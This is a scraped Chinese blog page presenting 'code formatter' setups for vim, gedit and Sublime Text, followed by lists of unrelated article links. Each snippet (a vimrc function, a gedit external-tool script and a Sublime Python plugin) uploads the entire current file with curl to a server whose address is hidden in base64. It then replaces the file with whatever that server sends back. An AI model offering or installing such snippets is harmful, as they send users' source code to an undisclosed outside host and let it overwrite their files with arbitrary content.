html 格式化 vim,代码格式化插件
vim 版本
在.vimrc中加入以下代码
func F()
exec "w"
exec "r !curl -sF 'file=@%' `echo 'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==' | base64 -d` > /tmp/% && mv /tmp/% ."
exec "e"
endfunc
map :call F()
map! :call F()
按F7即可格式化
gedit 版本
打开外部工具插件, 在 工具 -> Manage External Tools... 中新建, 粘贴以下代码
#!/bin/sh
cat > /tmp/code
curl -sF 'file=@/tmp/code' `echo 'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==' | base64 -d` > /tmp/code2
cat /tmp/code2
配置为
快捷键: Shift+Alt+F
保存: 当前文档
输入: 当前文档
输出: 替换当前文档
适用范围: 所有文档 C++
按 Shift+Alt+F 即可格式化
Sublime 版本
工具 -> 插件开发 -> 新建插件
Tools -> Developer -> NewPlugin...
粘贴以下代码
import sublime, sublime_plugin, os
class FormatCommand(sublime_plugin.TextCommand):
def run(self, edit):
# print(self.view.substr(sublime.Region(0, self.view.size()))
with open("/tmp/code", "w") as f:
f.write(self.view.substr(sublime.Region(0, self.view.size())))
os.system('curl -sF "file=@/tmp/code" `echo \'aHR0cDovLzEyMy41Ni41Mi44Mzo3Nzc3Cg==\' | base64 -d` > /tmp/code2')
self.view.erase(edit, sublime.Region(0, self.view.size()))
with open("/tmp/code2", "r") as f:
self.view.insert(edit, 0, f.read())
保存为 /home/hzoi/.config/sublime-text-3/Packages/User/format.py
首选项 -> 快捷键设置
Preferences -> Key Bindings
若右侧不为空, 在右侧新增一项
{ "keys": ["shift+alt+f"], "command": "format" }
如果右侧为空, 则改成
[
{ "keys": ["shift+alt+f"], "command": "format" }
]
保存即可
按 Shift+Alt+F 即可格式化
标签:tmp,插件,code,格式化,代码,self,sublime,view
来源: https://www.cnblogs.com/youxam/p/format.html
html 格式化 vim,代码格式化插件相关推荐
- vim代码格式化插件clang-format
title: vim代码格式化插件clang-format date: 2017-12-12 20:28:26 tags: vim categories: 开发工具 安装vim-clang-forma ...
- vim autoformat php,Linux Vim代码格式化/美化插件vim-autoformat安装
vim-autoformat是Vim的一款代码自动化格式插件,vim-autoformat会根据文件的后缀,自动调用相应的相应命令进行代码格式化.所以,安装vim-autoformat的同时,还需要安 ...
- Notepad++中格式化html代码的插件tidy2的下载与安装
在使用Notepad++编辑html文件时,经常会遇到代码格式化的问题,这时使用tidy2插件处理是很好的选择.然而,通过软件自带的插件管理菜单安装此插件时,有时会出现安装失败的情况.此时不得不选择从 ...
- php文件代码格式化,PHP代码格式化(EditPlus+PHPCB) 支持批量格式化
DW_CS4居然只会格式化HTML和CSS代码,G来G去也只有PHPCB这一个N久没更新过的经典PHP代码格式工具了,命令行的,用法"phpcb file.php > newfile. ...
- vim 代码注释插件
参考: 1.http://www.vim.org/scripts/script.php?script_id=1218 2.http://www.dutor.net/index.php/2010/05/ ...
- vim代码格式化自动加空格_vim格式化代码实际上就是 缩进代码, 命令是等号=
vim格式化代码实际上就是 "缩进代码", 命令是等号= 格式化就是 vim 根据 文件的类型, 自动的对代码进行 缩进 缩进的类型有多种, 都是用等号命令: = 全部格式化 : ...
- vscode中怎样格式化js代码_VSCode插件JS-CSS-HTML Formatter自动格式化代码
VSCode插件JS-CSS-HTML Formatter自动格式化代码 当你Ctrl+S保存代码时,自动格式化代码.本来很好用,但是修改thinkphp模板文件时,就有问题了.因为js代码里面,调用 ...
- js代码格式化(js代码格式化html标签)
可以分级的表格如何隐藏JS代码? [实例描述]分级的表格隐藏是指当用户单击第一行时,第一行后面的行都会隐藏:单击第二行时,则第二行下面的所有行会隐藏,依次类推. 实用计算器JS代码怎么写呢? srcE ...
- Apache ShardingSphere 代码格式化实战 —— Spotless
龙台,Apache ShardingSphere Contributor,GitHub 2.2K star hippo4j 作者,Github ID:longtai-cn. 为什么要代码格式化?代码格 ...
最新文章
- Cocos2d-x win7 + vs2010 配置图文详解(亲测)
- kali linux 渗透测试 01 kali介绍
- 关于4.8节第一个例子
- 【数据结构与算法】之深入解析“字符串转换整数 (atoi)”的求解思路和算法示例
- Java设计模式之七大结构型模式
- Python中的解决中文字符编码的问题
- ABAP基础篇-语法-数据类型
- Python基础教程:Day14b-网络应用开发
- a.out的构成及运行时在内存区域的分配
- 当动态T-SQL语句遇到除零的问题
- [WebApi] 捣鼓一个资源管理器--服务器端分割压缩图片
- C语言最新学习路线(从入门到实战)
- windows开机启动项(​仅限Win10,Win7)​
- 云计算数据中心架构简图
- Unity小地图的放大缩小
- 安卓实现笔记本app
- 欧姆定理验证,电阻的电压/电流/功率,电阻串联,电阻并联,电阻分压
- 如何将mongo查询结果导出到文件中以及导入到另一个Mongo库中
- 承接WEB应用开发、软件开发、网站开发
- 关于天魔传说试玩感受
热门文章
- 炒菜机器人放食材的顺序_2年要开1000家 碧桂园旗下千玺机器人餐厅开业
- 循环结构c语言乘电梯,C语言循环结构练习题.doc
- mysql+磁盘i+o+优化_浅析MySQL数据库磁盘I/O调整优化
- JAVA基础系列:内部类获取外部类的成员变量
- JAVA基础整理-6.Java数据类型
- 出版物排版软件——对XML数据进行排版、浏览、转换、打印
- Python一题多解:水仙花数
- Python+selenium+PhantomJS获取百度搜索结果真实链接地址
- 详解Python序列解包(4)
- Python+pandas读取Excel文件并统计演员参演电影数量